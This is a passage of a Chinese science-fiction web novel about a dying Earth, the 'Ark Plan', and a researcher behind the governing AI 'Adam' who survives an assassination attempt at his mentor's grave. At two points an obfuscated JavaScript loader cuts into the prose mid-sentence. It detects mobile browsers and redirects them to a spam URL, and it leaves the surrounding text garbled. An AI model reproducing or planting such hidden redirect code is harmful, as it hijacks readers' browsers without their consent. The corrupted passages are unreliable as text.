“如今,我们面临的灾难远比灭世洪水更加可怕,地球已经走向了暮年,枯竭的能源使得即便海水退却也无法再容纳人类继续生存。为了文明的延续,我们必须作出选择。” 这一天,全球大大小小的光屏上都浮现着同一个画面——地球联合政府总秘书长的末日宣言。 “……离开家园我们无奈而心痛,但迄今为止六千年的人类历史上,我们从未被打倒过,自然的灾害、战争的摧残让我们的文明一路蹒跚走到了现在…… 世界的毁灭不该是人类文明的终点,就像《圣经》中提到的那样,灭世的洪水来袭我们便建造起方舟来抵御它,带领着这个世界、我们的文明去寻找新的希望!” “经联合政府多方会谈研讨决定,人类文明正式启动【方舟救世计划】,我们要去遥远的宇宙中寻找人类全新的未来!” 画面定格在总秘书长眼含热泪慷慨激昂的陈词中,全世界的人也同他一般泪流满面,【方舟计划】让他们在绝望中看到了希望,看到了生存的希望。 “方舟计划!方舟计划!” 那一天,整个世界都在为它欢呼。 但,这并不是一切故事的终结。 傅行深俯瞰这如同微缩童话般的梦境世界,脑海中随后的记忆纷杳而至。 11. 第 11 章 那是大概六年前的事,傅行深依稀还记得。 【方舟计划】的提出迎来的绝不仅仅是人类的赞美和推崇,有许多大大小小的组织随着计划的诞生如雨后春笋般冒了出来。 他们声称【方舟计划】拯救的并非是人类文明,而是将文明彻底葬送的第一颗子弹。 “神创造人类时宣扬‘众生平等’,无论地位高低、权利大小、是否富有,人人都拥有平等的生存权利。可是你们抬头看看,我们生存的权利真的平等吗?” 街头巷尾张贴了许多反方舟计划的海报和传单,有的居民楼外墙上甚至用油漆涂刷了巨幅的“Anti-ArkPlan”(反方舟计划)的字样,冲击着所有人的目光。 “我们生存的权利真的平等吗?我们这个世界真的平等吗?看看我们的四周吧,大肆发展的重工业排放出的废气让我们呼吸的空气不再纯净,于是有的人凭借泼天的财富占据了自然的资源,将我们圈养在城市中,曾经人人都能涉足的山林成了不可踏入的禁区。 更可笑的是,为了能够维持健康的心肺,我们必须使用他们权柄控制下限时限量出售的新鲜空气,为此我们不得不支付高昂的费用……而这一切,在几个世纪前的人类社会,就连路边身无分文的乞丐也能呼吸到清新的空气,并且是免费的……” 科技的飞速发展加上无节制的能源开采,地球很快就像一个被蛀空了树根的巨木,支撑在其上的生态系统也随之摇摇欲坠。 数量锐减的林木无法过滤每日超额排放的二氧化碳,温室效应像一个保温锅盖扣在地球上空。 温度的升高不但带来了南极冰盖融化、海平面上升等问题,还使得遍布在北半球高纬度地区的冻土大量融化,蕴藏在其中巨量的汞随着土中冰的融化挥发到空气中。 于是当人们抬头向上看时,连天空都流动着死亡的铅灰色…… 人类的存在仿佛地球不幸患上的一场长达数千年的癌症,一次又一次破坏着它的免疫系统。 如今,这颗年轻的星球即将在漫长的高热中走向枯竭。 但人类并不忏悔。 人类终于明白面对自然他们的傲慢所带来的究竟是何等沉重的代价,却在支付代价前企图逃单。 也正由于此,在许多亲自然派的眼中【方舟计划】从本质上等同于一场叛逃,沾染着罪孽和污血的背叛。 自此,“众生平等,天佑自然”的口号以迅疾的速度蔓延至全球的各个角落。 然而对于更多的普通人而言,无论是亲自然还是亲人类都对他们构不成太大的影响,他们唯一不满的,是方舟的筛选机制。 为了保证种族的最大延续,地球联合政府初步确定了登船人员的素质和综合价值评估指标。 抛开一项项陌生而冗长的名词不谈,指标划定的范围包含了极少数身体素质极高的普通民众,以及百分之九十的权贵和高产阶级。 人们不解、愤怒,甚至有人调侃那被漏掉的“百分之十”一定是因为他们还不够有“价值”。 但无论如何,这样的计划是畸形的、带有明显功利性并且完全违背人类延续文明初衷的,没有人愿意为其买账。 游行、暴|乱随之而来,联合政府为了镇压反叛而引发的枪战在这个曾经美好而和平的星球上频频上演。 不仅是政府,就连【方舟计划】的研发人员也时常遭遇到不知名的暗杀。 亲自然派的势力在此期间不断壮大,人类种族内的矛盾激化到了至高点,一切物力都无法将其调和。 当人们哀痛地悲泣人类文明即将以这样荒诞的结局走向陨落时,有一个人站了出来。 他提出建立一个史无前例庞大且极尽人类最顶尖科技的智械AI,放弃原有的区域治理体系,除最高决策组织“地球联合政府”外统一交由AI管辖,取缔资源私有制,开放供应空气和水资源…… 最重要的是,他提议由智械AI主导,以最平等、最公正的方式筛选登上方舟的人选。 这一提议引起了世界范围内的轩然大波,处于金字塔底端的人笑了,他们有希望摆脱连喘气都要付费的糟糕生活。 位于金字塔中部的人也松了一口气,他们不必发愁每日的吃穿用度,却恐慌于随时能够夺走性命的暴|乱,倘若真的能够通过建立AI治理来结束这一切,他们愿意举双手赞成。 只有身处金字塔顶端的人愤然抵抗,AI治理会将他们手中掌握的权柄瓜分殆尽,这对他们来说无异于另一场灭世的灾难。 然而金字塔的结构注定了他们只能做出无谓的反抗,生而傲慢的他们终于后知后觉地明白了一个道理——少数人有时也是吃亏的。 就这样,建造超高智能机械体AI的决议以全球百分之八十五的赞同率高票通过,人们甚至在它还未诞生之际便已为它取好了名字——【亚当】。 创世纪之初带领人类文明走向繁荣的神之子。 而最初提出【亚当】概念的那名科学家,由于他为人们争取到了相对平等的生存权利,也被人们尊敬地冠以“天父”之名。 一时之间人们对于“天父”和【亚当】的推崇犹如五大洋上汹涌不息的浪潮席卷全球,他们在人类眼中就是救世主。 然而,唯有时间能够无视“天父”的虚名保持其亘古不变的尺度—— 在【亚当】还未正式进入研发阶段时,“天父”便先一步与世长辞。 举世哀恸之下,他那正在方舟建造研究所担任助理工程师的唯一的学生担起了重任,继承了老师的衣钵和遗志加入到“智械研发中心”担任总工程师,参与指导超智能机械体AI【亚当】的研发。 那一年,被后来研究“末日纪元”的史学家们定义为“命运的转折点”。 其后,历经长达四年的艰辛探索和无数次的突破和试验,在全球四十三名顶尖科学家的共同努力下,【亚当】的核心系统正式搭建完成。 又三个月,万众期待的智械AI迎来了受它统治的时代。 没错,【亚当】以其超高速的运算水平以及高度自治的管理能力成功令世界信服——比起争斗不息的人类,人们更愿意接受人工智能AI的管理。 曾经为了地球联合政府秘书长一职大打出手的政客们嘲讽人类在这一刻彻底沦为了机器的奴隶。 这样的说法也不完全错误。 随着【亚当】机能的进一步展现和提升,民间甚至开始有了信奉【亚当】、推崇“机械造神”的组织。 但他们不知道的是,即便【亚当】再如何强大、全知全能,掌控它的始终都是金字塔尖的那一撮人…… 那些人甚至妄图通过控制【亚当】来为自己行使便利——利用【亚当】来操控方舟计划的“船票”。 他们差一点就得逞了。 …… 隔日,傅行深起床时时意已经回来了,躺在床上睡得很沉。 房间的窗帘漏了条缝,傅行深透过缝隙看向窗外,难得的艳阳高照。 是个好天气。 他回头看向时意,苍白的皮肤下隐隐透着淡青色的血管,头发凌乱地散在枕上蓬松又柔软,呼吸清浅悠长…… 傅行深移开目光,动作轻缓地拉上窗帘,收拾好东西下楼去洗漱。 楼下是公用水房,每天分早晚时段供应热水,此刻一大清早就有不少人拎着暖瓶和脸盆来接热水。 傅行深在这遇到了许久不见的老张。 “诶,时先生跟你透露了吧,我们正在做的事。” 老张不动声色地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161040|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挪到傅行深隔壁,压低声音问他。 表情神神秘秘,说的话傅行深也没大听懂。 “……” 傅行深抬起头,脸上还挂着水珠,他看了老张几眼,含糊回道:“是透露了点,怎么了?” “没什么,时先生对你向来信任,我猜他就没打算瞒着你……既然你知道那就好办了。” “看见你左手边角落那几个人没?” 老张用眼神示意他往那边看。 傅行深佯装接热水往斜后方飞速过了两眼,眉头皱了起来。 那群人他有点眼熟,前不久往基地里运输煤炭时他和这几个人一辆车回来,看见他们往衣服里偷藏了不少煤。 但傅行深当时无心管这种闲事,窝在车斗一角闭目养神全当没看到。 后来听说基地里有人私下倒卖煤炭,不用想也知道是谁。 “看到了,怎么了?” 老张皱巴着一张脸冲他倒苦水,“我和时先生在干嘛你应该也知道点,这事儿本来就是知道的人越少越好,所以我俩每次都是等信号塔的人走光了才悄悄溜进去。呵,谁知道被这几个人给盯上了。” 傅行深听不明白了,“这和他们又有什么关系?” “能有什么关系?这几个人不知道蹲了我们多久,还以为我和时先生悄么声藏着什么宝贝呢,真是掉进钱眼里了!” 老张黑着脸“啐”了一口。 “今天天没亮我和时先生出来的时候被他们跟了一路,我倒是无所谓多多少少还有点防身的手段,就是时先生,恐怕要劳烦你帮忙看着点。” 真要跟那些人起了冲突,老张自己双拳难敌四手必定无法顾全时意,万一发生什么意外他可真要找根绳吊死在基地大门口算了! 傅行深听了这话挑起眉毛,铺垫了这么久才到正题,原来是想让他给时意当保镖? “这和我有什么关系?他们下次再缠上来你们随便给点东西打发走不就行了。” 笑话,前阵子让他当保姆他还能理解成时意重伤他这个做室友的关怀关怀,现在又让他给时意当保镖,天底下哪有那么好的事? 见傅行深不答应,老张也有些急了。 “我的老弟呀,要是能随便打发走我还用得着请你这尊佛?咱基地里就你身手最好你帮我一次,现在关键时候时意可不能出事啊!” “我身手最好?”傅行深突然咧开嘴笑了,“你又没见我动过手,这从哪下的结论?” “我可是个手无缚鸡之力浑身充满浪漫细胞的艺术家,哪里打得过那群人。” 傅行深抱着手臂似笑非笑地看着老张,他对外的人设可是个生不逢时怀才不遇的落魄钢琴家,这老张是从哪里知道他身手不错的? 张鑫被傅行深锐利的目光盯得浑身直冒冷汗,眼神飘忽支支吾吾半天说不出个所以然来。 他这幅模样傅行深还有什么不知道的,得,又是一个藏着小秘密的人呐。 可惜心理素质不行,扯谎的技术比起时意来差远了。 “行了,编不出来也别为难自己。” 傅行深善解人意地拍拍老张的肩膀,“先说好,我只负责撑场面,真动起手来我第一个跑。” 老张才不听他什么跑不跑的,得到准话后顿时喜笑颜开:“就这么说定了啊!你可真是个活菩萨,改天请你吃大餐,加两个大鸡腿!” “……” 两个鸡腿? 这不是和基地门口看大门的大黄狗一个待遇吗? 傅行深磨磨后槽牙,心想总有一天要咬死这个老滑头。 不过眼下的问题,还是要解决那几个大麻烦。 傅行深的目光看向不远处凑作一堆不知道在打什么坏主意的几人,瞳孔深处寒气凛凛。 12. 第 12 章 此时还窝在房间里睡得正香的时意并不知道自己的好搭档用两个鸡腿就招揽来了一个打手。 当深夜结束完工作走出信号塔时,看到站在树下静静等待着的傅行深时意有些吃惊。 “你怎么来了?” 时意自受伤后便开始有些畏冷,像今日这样没有下雪的日子也裹得严严实实。 厚实的棉衣遮住他的下半张脸,那双眼睛就显得格外水润,衬得此刻的时意有种过分的乖巧。 傅行深没想到时意对他和张鑫之间的“交易”竟然毫不知情,淡淡地扫了一眼缩在时意身后挤眉弄眼的张鑫,耸了耸肩回答他: “一个人待着没意思,过来看看你们。” 三个人往住宅区走去,没走多久老张便到地方与二人分道扬镳,剩下的路往常都是时意一个人走,今天突然多了个人陪着让这段不短的路变得不再漫长无聊。 回他们那座楼需要穿过一个狭长的过道,左右两侧是废弃的低矮厂房,据说曾经是用来储存军械的仓库,如今自然是已经空空荡荡。 没走两步傅行深回头看了一眼,为了节省能源基地在夜晚几乎没有多少灯光,昏暗的小道上他依稀能看到身后不远处黑暗里猩红的光点—— 有人聚在那里抽烟。 傅行深几乎能感觉到那几束刺在背上的目光。 “嗤。” 他低头极轻地笑了声。 走在他身边的时意歪头看他,“怎么了?” “没什么,”他摇了摇头,“你们进展怎么样?” 傅行深发誓他只是随口问问没指望时意真能回答个一二三,但没想到这次时意没再对他遮遮掩掩,坦诚得让他大吃一惊。 “还不错,多亏了之前带回来的硅片起了大作用,等我和老张再加装几个小零件就可以试试能不能发射信号了。” 技术上竟然真的可以实现? 时意说得仿佛只是给自行车上个链条一般轻巧,可傅行深不是傻子,这种工作不是随随便便抓一个机械师就能干得了的。 时意绝不可能像他自己说的那样只是个简简单单的业余机械师,他的身份也绝没有表现出来的那么简单。 傅行深不得不在心底重新审视起时意来。 “即便能够发射出信号波,”傅行深沉吟片刻开口道,“怎么能确定方舟一定可以接收到呢?” 他看向时意的眼睛,笃定地说道:“你没有办法绕过【亚当】联系到其他人。” 从先前录音的情形就可以推测出来,方舟多半已经被【亚当】全面控制了,它不会允许时意这么做的。 傅行深几乎可以断定,他们发出的信号波一定会被【亚当】截获。 甚至是销毁。 “这就是另外的问题了,我暂时也没有想好该怎么解决。” 时意摇了摇头,不愿再向他透露更多。 这一晚那群人没有跟得太紧,兴许是傅行深在一旁守着让他们多少有些许忌惮,因此只是远远地盯着他们二人没有贸然上前起冲突。 熄灯时墙上的挂钟已经指向了凌晨三点钟,傅行深困意上涌懒洋洋地歪倒在床上酝酿睡意,一片寂静中他听到身侧不远处时意翻了个身,轻轻说了句“谢谢”。 “别客气,”傅行深回道,“老张已经付过‘报酬’了。” 漆黑的夜色下,窗外楼下不知道是谁走过留下一串悉索的脚步声,时意阖上眼,轻轻勾起了唇角。 -- 时意今夜的心情是明朗的,阖上眼入眠后梦中却还是那片无止休的大雨…… 天空是一如既往的铅灰色,超标的汞蒸汽浮动在雨幕中,夹杂着肉眼可见的沙尘让人们每每望见便心生惧意。 往日里这样的天气街上几乎看不到行人,今日却与以往不同—— 今天是【亚当】概念的缔造者、被人们尊敬称呼为“天父”的奥兹维坦·霍夫曼教授的葬礼。 葬礼的举行是在正午时分,人们自发地涌上街头跟随送葬的队伍默然前行。 灰暗的雨幕下一丛一丛漆黑的伞盖拥挤着向前挪步,伞盖下是全副武装只露出双眼的哀默的人群。 污浊的空气使得呼吸系统感染成为如今世界上致死率最高的病因之一,人们为此不得不在空气质量极差的天气佩戴面罩式过滤器,通过机械的层层过滤来汲取氧气。 好在过滤器一代代改进升级,如今的它看上去就像是某种金属面罩遮住了下半张脸,有的年轻人甚至会在上面喷绘涂鸦,鲜明的色彩看上去特立独行一时引领风尚。 而如今,人们带着各式各样的呼吸过滤器走在大街上,跟随人流将奥兹维坦的棺木送至长街尽头的那座教堂。 在那里他将受到光明的洗礼,在他亲朋好友的祝福下被火化,葬入教堂一侧的安息园。 正午的时钟敲响了,教堂的大主教担任牧师哀痛地诵念悼词—— 『……他将一生奉献给了世界,赤忱、博爱、勇敢,他理想主义的思想下埋葬着现实主义的遗骨,宇宙星辰在他的灵魂中运转不息,他是人类日落前最后一曲哀歌,却为人类的明天奏响序章……今日,我们在这里深深地怀念,愿天国永无伤痛,愿他永远安息。阿门。』 细密如丝的雨中人们将胸前的白玫瑰献在他的棺木上,人群哀默悄寂,有人痛哭失声。 大主教阖上悼词,邀请奥兹维坦教授的亲朋致辞。 而本该第一个出场的人,那个据传言是奥兹维坦收养多年并作为接班人培养的他唯一的学生,却没有出席。 身旁的教士对着主教耳语几句,众人眼看着一向温和慈爱的大主教气得涨红了脸。 “简直是胡闹!我不是他们那些学识渊博的学者但也知道今天这个场合他该出现的地方是教堂而不是实验室!” 人群哗然。 怎么?德高望重的奥兹维坦教授收养的那个孩子,那个他认定的接班人竟然拒绝参加自己老师的葬礼! “这简直太荒唐了!” “我不敢相信,他爱护一生的孩子竟然这样狠心……” “上帝,我们究竟把我们的未来托付给了一个怎样冷血无情的人?” …… 人们哀婉悲痛地来到这里,愤怒失望地打道回府,他们为“天父”的离世感到悲痛,同样为他最终没能接收到唯一的亲人的送别而激愤万分。 而缺席的原因仅仅是因为实验无法中断,脱不开身。 “……真的,哪怕他是在拯救世界,我也不会原谅他。” 一位参加葬礼的女士对着镜头流泪说道。 就这样,仁爱博学的奥兹维坦教授收养了一个“白眼狼”的故事就这样流传开来。 傍晚黄昏日落时分,天色转变为沉甸甸的蓝黑色,像是一滴浓郁的墨汁晕染在铅云之下。 一位打着黑伞的青年来到墓园,午后的热闹已经散去,眼下是独属于这片墓地的万籁俱寂。 青年似乎也是来墓园看望亲人的,只是不同于以往常见的白菊和白玫瑰,墓园的守门人眯缝着眼打量他。 他手里拿着一支含苞待放的蔷薇。 可真是个怪胎。 “嘿小伙子,你也是来参加教授葬礼的吗?仪式早就已经结束了,你来的太迟……” 守门人粗粝的嗓音打破了墓园的沉寂。 青年坚持要进去看看,事实上这座墓园本没有宵禁的规定,他顺利地走了进去。 安息园中安葬的几乎都是有名有姓的大人物。 举世闻名的音乐家、为人类理想奋斗终身的政治家、还有哲学家和科学家……时意很快就在众多墓碑中发现了新立起的那一座。 ——奥兹维坦·霍夫曼(公元2433年-2508年),当代伟大的天体物理学家、机械工程师、社会学家,智械AI【亚当】的概念发起者,人类文明末日纪元的“天父”。 『Ichwerdedasverhei?eneLandsehenundmichdannvonSchneeflockenbegrabenlassen,unddannwerdeichvordenTempelnderG?tterübermeineSündenklagen.(我要看到上帝应许的福地,然后让雪花将我掩埋,那时,我将在众神殿前吐诉我的罪状。)』 时意轻轻擦拭碑文,事实上这座墓碑还崭新得一尘不染,但当他抚上其间凹凸的刻痕时就仿佛触碰到了老人苍老的面颊,倘若是几年前他一定会望着自己,深邃而睿智的目光慈爱又温暖。 “今天的实验很成功,数据和您之前的预测几乎没有误差。如果顺利的话很快就可以开始下一个阶段的模型试验了……” 时意如同往常一样对着老人汇报工作,只是无法再感受到被老人那双湛蓝双眸凝视时的感觉。 像是冬日清晨行走在施卢赫湖边,深蓝的湖泊中漂着浮冰,倒映着岸边黑森林的倒影,静谧沁凉的空气中浮动着晨光的气息。 “但是今天我有些手忙脚乱,碰倒了实验室的椅子,输入指令时忘记了代码……甚至还打碎了一个玻璃杯,有点毛毛躁躁的,这样的我您肯定没有见过,您总是说我太过于严肃,有些死板……” 而实际上,奥兹维坦教授的原话是:“别再让我看到你整日里摆弄那些无聊的数据了,它们把你教得像块老顽木!去交些朋友,至少,让我在今年圣诞节前听到你交了女朋友这样的好消息,当然男朋友也无所谓……” 回想起老人眉飞色舞的神情时意的眼眶涌上一股热意。 “这支蔷薇花是我来之前从庭院里摘下的,当年您种下的时候说要我将来在您的墓前也放上一朵,可是您看看,它还没来得及开放呢……” 墓碑始终静默地扎根在原地,面对时意的絮语无法诉诸出哪怕一个词句。 时意突然意识到,他与奥兹维坦之间庞杂的联系——他的孩子、学生、他钟意的接班人……这些联系在这一刻,在所有的话语再也得不到温柔回应的这一刻,猝然崩断了。 “咔哒——嗤——” 墓园后的矮山上,一声独特的轻响并未引起时意的注意,倘若他再谨慎一些就能分辨出,那是撞针被击发引燃底火,子弹击射出去的声响。 那把枪安装了最新型的消音器,再加上和时意隔了很长一段距离,他并没有察觉到墓园门口徘徊的守门人颓然倒下了。 直到他起身离开时走到门口,看到那满地流淌的鲜血。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16161041|180638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >和守门人尚未阖上的惊恐的双眼。 冰冷的尸体横陈在这座象征死亡的“花园”门口,雨水浇下抽干了它最后一丝体温,时意还不待作出反应便浑身一震,垂在身侧的双手缓慢举过头顶。 拿在手中的伞砸落到地面溅起泥水,时意被一把枪抵上了后脑——他甚至能闻到枪口尚未散去的硝烟的味道。 “终止【亚当】的研究,否则下场就和他一样。” 身后的人同时意一样带着面罩过滤器,声音闷响听不出什么特点。 时意几乎在瞬间就猜到了来人的目的,或者说,他和他同伙们的目的。 四周不知道何时又有几个人围了上来,手里没有拿枪却体格健壮不像善茬,时意毫不怀疑只要自己胆敢摇头下一秒那些人钵大的拳头就得招呼上来,一拳就能送他归西。 这些人穿着雨衣,套在里面的衣服上绘有“反AI治理,人权至上”的涂鸦。 大概率是支持人类自治反对智械参政的民间组织,这些组织内部松散管理体系缺失,但就反对【亚当】研发这个目标却达成了惊人的共识。 可时意不可能终止研发,无论是出于怎样的考虑【亚当】诞生的进程都势不可当。 沉默,在硝烟和血腥气味的冲斥下隐隐有要崩断的趋势。 时意听到了脑后传来的子弹上膛的脆响,心跳如擂鼓,却并不忧惧死亡的到来。 他已经将工作的细节都传达给了副手安东尼奥,即便没有他研究也能进行下去。没错,他有一些关键的技术没有向任何人透露,但就研发组所掌握的技术而言也已经足以满足【亚当】使用功能的完备性,时意一点也不用担心。 “你们想让我暂停【亚当】项目?没问题,停多久……” 时意冷静点头。 身后持枪的人讥笑着打断他:“别在这跟我们打马虎眼,大科学家,我刚才说的很清楚。终止【亚当】研究,否则现在就要了你的命。” 说着那人威胁似的用枪口敲了敲时意的脑袋。 “……呵,这么大一个项目,可不是我说停就能停的,让我现在就做出承诺想必你们也不会相信……” 时意佯装轻松地笑了笑,暗地里调整了姿势,眼神状似无意地向四周看了看。 他将问题拋回给对方,诘问他:“不如你们说,应该怎么办?” “这……”那群人明显对这个问题感到为难。 他们只是打手,决策的事还轮不到他们。 几个人面面相觑,神色踌躇。 时意见状瞅准时机闪身向一侧的墓碑后躲去,行动的一瞬间他的大脑空白一片后脖颈处本能地激起一股像是电流爬过的刺麻。 身后是杀手凶恶的喝声和枪响——“你找死!” “砰!” 子弹沿着时意先前算好的弹道射入他躲避的那块墓碑中,溅起一片碎石。 真是糟糕! 时意死盯着逐渐围上来的杀手们,心想方才还不如避开要害中弹装死,也好过被抓住落到他们手里…… “大科学家,我们可没时间跟你躲猫猫。把你抓回去当人质,你猜猜你的那些属下们会不会愿意终止项目呢,嗯?” 厚重的脚步声拾阶而上传进时意“咚咚”作响的心脏,他自然不能落到这些人手中,否则【亚当】早晚会沦为受他们控制的傀儡,这可不是老师的初衷。 时意从口袋中快速掏出一枚4英寸长的袖珍注射器,里面已经填充好药物——是一管剧毒的氰|化钠溶液,只需要0.1克就能置人于死地。 可比这些家伙手中的枪厉害多了。 时意将注射器管中的空气推出,尖锐的针尖渗出透明剧毒的液体。 他在心底暗想,这0.1克要么送给拿枪的那个家伙,要么就送给我自己。 就像应时意要求给他注射器防身的李雄说的那样,时意总是疯狂得不合时宜。 “当心,搞不好会致命的!”李雄意有所指,时意的疯狂迟早会害了他自己。 彼时他将注射器妥帖放好,扬唇一笑道,“放心吧,要的就是致命。” 如今,时意无比庆幸自己还留了这么一手。 脚步声已经无限逼近了。 时意浑身肌肉紧绷做好了随时冲上去的准备。 当那名杀手的脚步声停驻,距离时意躲藏的地方仅一步之遥时,时意蓦然站起身来,以迅雷不及掩耳之势冲了过去并举起右手—— “嗡——嗡——砰!” 就在这时,一辆重机车撞开墓园被酸雨腐蚀后不堪一击的铁门,粗犷的车身卷起半米高的污泥嚣张地闯了进来。 “什么人?!” 打手们严阵以待厉声喝道。 机车上的人摘下笨重的头盔跳落到地上,也不知道听没听到他们的叫喊,双手不紧不慢却认真地整理起了着装。 来人精悍高挑的身材被修身的机车服勾勒得极具完美,宽肩窄腰,隐藏在其下的肌肉不夸张却透露着含蓄但惊人的爆发力。 他没有带过滤面罩,五官如同他的身材一样锋利内敛,浅淡的瞳色在阴雨天反射出无机质般的冷漠,薄唇紧抿显得严肃而冷酷。 时意注意到,他怀里正揽着一束白玫瑰。 13. 第 13 章 贸然闯入的男人看了眼地上早已冰冷的尸体,淡定地从上面迈了过去,冲着里面对峙的几人说道: “抱歉无意打搅,不过死者为大,让我先去献束花可以吗?” “快滚!没看到……”这人话吼到一半被持枪的杀手抬手制止了。 那杀手从头到脚将男人扫了一遍,左手上抬做出了“请”的姿势。 不速之客点点头,几步一个台阶向上走,步伐不疾不徐,最终停在了奥兹维坦教授的墓碑前,看到了那支鲜艳的蔷薇花苞。 他俯身将白玫瑰放在它旁边,安静地垂头默了片刻转身离开,下台阶的时候视线时不时触及到被团团包围住的时意。 他几乎不可能从这群持枪的杀手手中逃出生天。 男人想。 “算了,就当是日行一善吧。” 他轻叹一口气,下一秒便挤进包围圈给了毫无防备的杀手一个强有力的肘击,趁他吃痛弯腰之际缴了他的枪! “这玩意儿可不是玩具,指着人脑袋万一走火怎么办?” 他弹出弹夹看了一眼,吹了个口哨,枪口随意地对上了那名杀手的要害,对着其他几个蠢蠢欲动的人讲道理: “现在,不想我手一滑走火让他脑袋开花的话就往后退,对,再退一步。” …… 眼看着半道冲出的“程咬金”带走了时意,有人抄起家伙就准备追上去—— “别追了。” 几乎被面罩遮挡住整张脸的杀手摆了摆手,面罩下漆黑的瞳仁里流露出些许疑惑。 “这家伙出现在这肯定不是巧合,外面多半还有他的人……我们先撤。” 墓园外—— “上车。” 男人拋给时意一个头盔,转身利落地跨上那辆造型夸张悍利的机车。 时意打量了他几眼,什么也没说跟着这个陌生男人离开了墓园。 路上,蒙蒙细雨弥漫在几乎无人的街市,机车的排气管“嗡嗡”作响嚣张地从空荡的街区飞驰而过。 “知道他们是什么人吗?” 男人的声音从头盔下闷闷传来,顷刻间便被疾风撕裂。 “你说什么?!” 时意的耳边被呼啸的风声充斥着,完全听不到他说了什么。 那人又扯着嗓子问了一遍,这次时意听清楚了。 “是‘反智械组织’干的,我看到他们T恤上的涂鸦了!” 时意大声回答道,语气十分笃定。 那人点了点头,转而斩钉截铁地否定了时意的推断—— “错!知道这个吗?” 他拍了拍兜里心安理得缴获来的枪械。 “最新型的消音装置,还在实验阶段,没点手段和门路根本带不出来。” 时意伸手摸向他腰侧的口袋,掏出枪械颠来倒去看了半晌,摇摇头又放了回去。 “这上面没有试验品的标识。” “编号被激光刻在内管壁上得用扫描仪才能看得到,不过这款试验枪械只能安装特制的子弹……” 机车在一个无人的巷角刹住,这里十分隐蔽并且距离时意所在研究所后门只隔了半个街区。 男人转过头将枪械再次拋给时意,示意他拆开弹匣看看—— “每一颗子弹都有特定的编号,就像每个人一出生就有的身份证号码一样,打开看看,上面有什么?” 时意动作有些生疏地拆卸掉弹夹倒出子弹,果真在每一枚子弹的底部都发现了不同的编码,E字母打头。 “是试验用枪械没错。” 时意不得不对面前这个人刮目相看,好奇他到底是怎么知道这些东西的。 即便隔着金属面罩男人也能轻松分辨出时意眼底的惊憾,不过他对此并未做出解释,只是提醒时意道: “终止研发吧,这不是它该诞生的时代。” 从见到奥兹维坦墓碑前放着的那朵鲜嫩的蔷薇花苞时傅行深便对眼前这个年轻男人的身份有了猜测。 这次是自己碰巧赶上了,那下一次呢? 说到底,是【亚当】的研发进程刺激到了某些人的神经,他们意识到即便奥兹维坦去世也无法制止它的诞生……那他们就只能斩草除根。 眼前这个还尚未出现在媒体面前的无名研究员,注定要面临更加残酷的现实抨击—— 比起万众敬仰的“天父”,他的这位学生在民众中的口碑可不怎么好。 这注定他的研发之路将困难重重。 “为什么?” 时意拧眉,即便露在面罩外的半张脸上仍旧没什么表情,但男人还是敏锐地觉察到他生气了。 “你救了我,所以我愿意相信你和他们不是一伙的,但我有必要向你强调,研发【亚当】在全世界的民意调查中占据了百分之八十的支持率……” “这可不是高支持率的问题。你也看到了,它的创生威胁到了一些人的利益,如今他们开始对你下手了。” 傅行深意识到自己的话可能过于强硬,于是缓和下语气接着说道: “我也不是一定要逼你终止研究,只是危险已经降临,是时候重新审视这个提案了……博爱公正的【亚当】,真的适合这个充满私欲和纷争的时代吗? 时意沉默不语,神情却仿佛在说“不”。 他坚持并确信【亚当】的诞生能够为绝大多数人带来福祉,如果因此触犯了某些人的逆鳞,那么抱歉,让他们见鬼去吧。 “如果它不适合这个时代,它就不会在还未诞生之际便受到万众期待。” 男人神色一怔,眼前这个看起来甚至可以称之为“单薄”的青年远比他看起来叛逆得多,几乎是一腔孤勇地坚守自己的信念。 “也许在你看来它不切实际只适合存在于人们幻想的乌托邦,我的固执在你眼里可能更是一个笑话…… 但并不是这样的,百分之八十的支持率,代表这个世界上仍然有七千两百多万人像渴望救世主降临一样渴望【亚当】的诞生,这将代表他们有资格站上末世的天平,同那些垄断生存资源的权贵平等地寻求生存下去的可能性。” 时意的声音像街上蒙蒙的细雨,在傅行深坚不可摧的心口印上一团潮湿的雨渍。 “这才是我坚持的意义,我也一直相信,倘若老师还在世他也会支持我所作出的决定,哪怕为了【亚当】注定要牺牲掉一切,包括我的生命。” 傅行深几乎被他这样的想法所震撼,他想他对这个人的判断终究是过于肤浅了,他不是个固执己见妄视生死的自大狂,他是在自己坚守的那条路上要一口气走到黑的殉道者。 他沉默了许久,冰凉的雨丝仿佛无数条牵扯命运的丝线将这个世界与万物相关联,就像他今日碰巧走进墓园,救下了面前这个险些“中道崩殂”的野心家。 他叹了口气,终于还是妥协了。 “好吧,既然如此那我也只能祝你好运了。不过有一点你一定说错了……” 时意不解地看向他,以为这将是他们二人的下一场辩论,却没想到那人只是说了一句话—— “我父母曾经和奥兹维坦教授是老朋友,如今他们也该老友相聚了,我理应为教授献上一束花。可现在看来,他或许更加希望把这束花送给你。” 说罢,他不知道从哪里摸出一朵花来,是白玫瑰,坚韧的根骨支撑起它看似琉璃般易碎的花瓣。 “你说他如果活着也会支持你牺牲一切去实现他的设想,我觉得不会。” 时意从男人递出那朵花时眼神就发生了变化,像是被打破了什么坚硬的外壳,从缝隙中溢出鲜为人知的、难言的悲伤。 雨还在下,击打在街边早已关门大吉的店铺门口那把陈旧黯淡的遮阳伞上,发出噼里啪啦的声响。 